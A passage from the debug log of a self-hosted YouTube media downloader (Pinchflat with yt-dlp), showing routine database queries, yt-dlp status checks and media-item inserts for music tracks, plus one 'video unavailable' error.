s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:05.357 [debug] QUERY OK source="media_profiles" db=0.1ms idle=131.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:05.357 [debug] QUERY OK source="media_items" db=0.1ms idle=1.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [180] 22:20:05.357 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [180] 22:20:05.358 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:05.358 [debug] QUERY OK source="sources" db=103.9ms idle=427.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:05.358 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:05.358 [debug] QUERY OK source="sources" db=0.3ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:05.359 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:05.359 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2021-04-03 14:56:39Z], 2] 22:20:05.359 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:05.360 [debug] QUERY OK source="settings" db=0.2ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:05.360 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:05.360 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=XchkPl1ASEk --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/97/cf/97cf1037c1c9c50b5132131f3cba5723a6ad344714d037b7be985f96cbad769c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:05.517 [debug] QUERY OK source="media_items" db=157.6ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["backup of these videos that got taken down:\nhttps://www.youtube.com/watch?v=X-WZ2QeJd64\nhttps://www.youtube.com/watch?v=T6fqtJbVoFI\n\nbackground image:\nhttps://drive.google.com/file/d/1wd657U4MSq7LB8EP8GGpQd8Uvr9zOgJL/view\n\ndownload (mp4, h265):\nhttps://drive.google.com/file/d/1rjH_FHiJE2owK3jQp9WChA_UQV9JXMQe/view\n\ndownload (mp3, LAME3.100):\nhttps://drive.google.com/file/d/1DM_ApORFwSGz1hfjaOjhWMKmgPhWHq0-/view", "Neon Genesis Evangelion - Fly Me To The Moon (Asuka, Rei & Misato)", "19546ba0-5cd8-4b96-bfd7-33edf103194d", false, "ckHvM3eEX0w", 272, false, "https://www.youtube.com/watch?v=ckHvM3eEX0w", 1, "/downloads/Classics/Classics/2021-04-03Neon Genesis Evangelion - Fly Me To The Moon (Asuka, Rei & Misato)[ckHvM3eEX0w].m4a", false, false, 2, [], 1, ~U[2021-04-03 14:56:39Z], ~U[2026-07-24 02:20:05Z], ~U[2026-07-24 02:20:05Z], "backup of these videos that got taken down:\nhttps://www.youtube.com/watch?v=X-WZ2QeJd64\nhttps://www.youtube.com/watch?v=T6fqtJbVoFI\n\nbackground image:\nhttps://drive.google.com/file/d/1wd657U4MSq7LB8EP8GGpQd8Uvr9zOgJL/view\n\ndownload (mp4, h265):\nhttps://drive.google.com/file/d/1rjH_FHiJE2owK3jQp9WChA_UQV9JXMQe/view\n\ndownload (mp3, LAME3.100):\nhttps://drive.google.com/file/d/1DM_ApORFwSGz1hfjaOjhWMKmgPhWHq0-/view", "Neon Genesis Evangelion - Fly Me To The Moon (Asuka, Rei & Misato)", "ckHvM3eEX0w", 272, false, "https://www.youtube.com/watch?v=ckHvM3eEX0w", "/downloads/Classics/Classics/2021-04-03Neon Genesis Evangelion - Fly Me To The Moon (Asuka, Rei & Misato)[ckHvM3eEX0w].m4a", false, 2, ~U[2021-04-03 14:56:39Z]] 22:20:05.518 [debug] QUERY OK source="sources" db=0.6ms idle=158.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:05.518 [debug] QUERY OK source="media_profiles" db=0.1ms idle=158.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:05.518 [debug] QUERY OK source="media_items" db=0.1ms idle=158.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [38] 22:20:05.518 [debug] Current batch of media processed. Will check again in 1000ms 22:20:05.983 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by Universal Music Group\n\nFight The Silence · For Today\n\nFight The Silence\n\n℗ 2013 Razor & Tie Recordings.\n\nReleased on: 2014-02-04\n\nProducer: Will Putney\nComposer Lyricist: For Today\n\nAuto-generated by YouTube.", "duration" => 219, "filename" => "/downloads/ChristianMetal/ChristianMetal/2018-07-29Fight The Silence[Da3Ee-xyIQ4].m4a", "id" => "Da3Ee-xyIQ4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Da3Ee-xyIQ4", "playlist_index" => 19, "timestamp" => 1532907873, "title" => "Fight The Silence", "upload_date" => "20180729"} 22:20:05.984 [debug] QUERY OK source="sources" db=0.1ms idle=467.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:05.984 [debug] QUERY OK source="sources" db=0.1ms idle=466.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:05.984 [debug] QUERY OK source="media_items" db=0.1ms idle=466.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-07-29 23:44:33Z], 5] 22:20:06.275 [debug] QUERY OK source="media_items" db=289.9ms idle=466.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nFight The Silence · For Today\n\nFight The Silence\n\n℗ 2013 Razor & Tie Recordings.\n\nReleased on: 2014-02-04\n\nProducer: Will Putney\nComposer Lyricist: For Today\n\nAuto-generated by YouTube.", "Fight The Silence", "3f8fe106-6bb1-42a5-a227-9177d09087b2", false, "Da3Ee-xyIQ4", 219, false, "https://www.youtube.com/watch?v=Da3Ee-xyIQ4", 19, "/downloads/ChristianMetal/ChristianMetal/2018-07-29Fight The Silence[Da3Ee-xyIQ4].m4a", false, false, 5, [], 1, ~U[2018-07-29 23:44:33Z], ~U[2026-07-24 02:20:05Z], ~U[2026-07-24 02:20:05Z], "Provided to YouTube by Universal Music Group\n\nFight The Silence · For Today\n\nFight The Silence\n\n℗ 2013 Razor & Tie Recordings.\n\nReleased on: 2014-02-04\n\nProducer: Will Putney\nComposer Lyricist: For Today\n\nAuto-generated by YouTube.", "Fight The Silence", "Da3Ee-xyIQ4", 219, false, "https://www.youtube.com/watch?v=Da3Ee-xyIQ4", "/downloads/ChristianMetal/ChristianMetal/2018-07-29Fight The Silence[Da3Ee-xyIQ4].m4a", false, 5, ~U[2018-07-29 23:44:33Z]] 22:20:06.275 [debug] QUERY OK source="sources" db=0.3ms idle=445.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:06.318 [debug] QUERY OK source="media_profiles" db=42.6ms idle=291.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:06.320 [debug] QUERY OK source="media_items" db=0.8ms idle=334.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [185] 22:20:06.320 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by TuneCore\n\nBreaking Out · Nine Lashes\n\nBreaking Out\n\n℗ 2018 Nine Lashes Recordings\n\nReleased on: 2018-02-16\n\nAuto-generated by YouTube.", "duration" => 196, "filename" => "/downloads/ChristianMetal/ChristianMetal/2018-02-15Breaking Out[f_-Sx1kUri4].m4a", "id" => "f_-Sx1kUri4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=f_-Sx1kUri4", "playlist_index" => 20, "timestamp" => 1518690268, "title" => "Breaking Out", "upload_date" => "20180215"} 22:20:06.321 [debug] QUERY OK source="sources" db=0.5ms idle=335.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:06.322 [debug] QUERY OK source="sources" db=0.4ms idle=46.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:06.322 [debug] QUERY OK source="media_items" db=0.3ms idle=46.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-02-15 10:24:28Z], 5] 22:20:06.517 [debug] QUERY OK source="media_items" db=193.4ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by TuneCore\n\nBreaking Out · Nine Lashes\n\nBreaking Out\n\n℗ 2018 Nine Lashes Recordings\n\nReleased on: 2018-02-16\n\nAuto-generated by YouTube.", "Breaking Out", "94437a54-e049-47ce-9c8b-4b63728450f4", false, "f_-Sx1kUri4", 196, false, "https://www.youtube.com/watch?v=f_-Sx1kUri4", 20, "/downloads/ChristianMetal/ChristianMetal/2018-02-15Breaking Out[f_-Sx1kUri4].m4a", false, false, 5, [], 1, ~U[2018-02-15 10:24:28Z], ~U[2026-07-24 02:20:06Z], ~U[2026-07-24 02:20:06Z], "Provided to YouTube by TuneCore\n\nBreaking Out · Nine Lashes\n\nBreaking Out\n\n℗ 2018 Nine Lashes Recordings\n\nReleased on: 2018-02-16\n\nAuto-generated by YouTube.", "Breaking Out", "f_-Sx1kUri4", 196, false, "https://www.youtube.com/watch?v=f_-Sx1kUri4", "/downloads/ChristianMetal/ChristianMetal/2018-02-15Breaking Out[f_-Sx1kUri4].m4a", false, 5, ~U[2018-02-15 10:24:28Z]] 22:20:06.518 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=197.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:06.519 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=197.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:06.520 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "song used: https://youtu.be/-crgQGdpZR0\n\nwill probably be my last upload for a few months, unless I decide to make something in the next week. will be starting college so I've got no clue if I'll have time for these silly little edits. I greatly appreciate the support I've garnered over this past summer, and I'll be sure to return to this channel. probably. maybe. again, thank you all so much\n\nalso, I LOVE THE WIESEL IT'S SO STUPID WHY DID THEY DESIGN IT OH MY GOD", "duration" => 246, "filename" => "/downloads/Classics/Classics/2023-08-10Take a Chance on (RHEIN)Me(TALL)[FMVK78FgDMY].m4a", "id" => "FMVK78FgDMY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=FMVK78FgDMY", "playlist_index" => 2, "timestamp" => 1691711177, "title" => "Take a Chance on (RHEIN)Me(TALL)", "upload_date" => "20230810"} 22:20:06.520 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=197.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [186] 22:20:06.521 [debug] Current batch of media processed. Will check again in 1000ms 22:20:06.521 [debug] QUERY OK source="sources" db=0.6ms idle=197.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:20:06.522 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:06.523 [debug] QUERY OK source="media_items" db=0.5ms idle=4.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-10 23:46:17Z], 2] 22:20:06.645 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=dfwMShnhm9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/0c/fd/0cfd15d4d048a171dba875b459f09a3c9cf2cc8ea5c2cb1fb2e488af960b217d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] dfwMShnhm9c: Video unavailable. This video is not available 22:20:06.645 [error] yt-dlp download error for media item #179: "ERROR: [youtube] dfwMShnhm9c: Video unavailable. This video is not available\n" 22:20:06.645 [error] yt-dlp download will not be retried: "ERROR: [youtube] dfwMShnhm9c: Video unavailable. This video is not available\n" 22:20:06.690 [debug] QUERY OK source="media_items" db=166.8ms idle=4.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["song used: https://youtu.be/-crgQGdpZR0\n\nwill probably be my last upload for a few months, unless I decide to make something in the next week. will be starting college so I've got no clue if I'll have time for these silly little edits. I greatly appreciate the support I've garnered over this past summer, and I'll be sure to return to this channel. probably. maybe. again, thank you all so much\n\nalso, I LOVE THE WIESEL IT'S SO STUPID WHY DID THEY DESIGN IT OH MY GOD", "Take a Chance on (RHEIN)Me(TALL)", "6c0b31d9-a012-4ae4-8d60-1a25689a1ab1", false, "FMVK78FgDMY", 246, false, "https://www.youtube.com/watch?v=FMVK78FgDMY", 2, 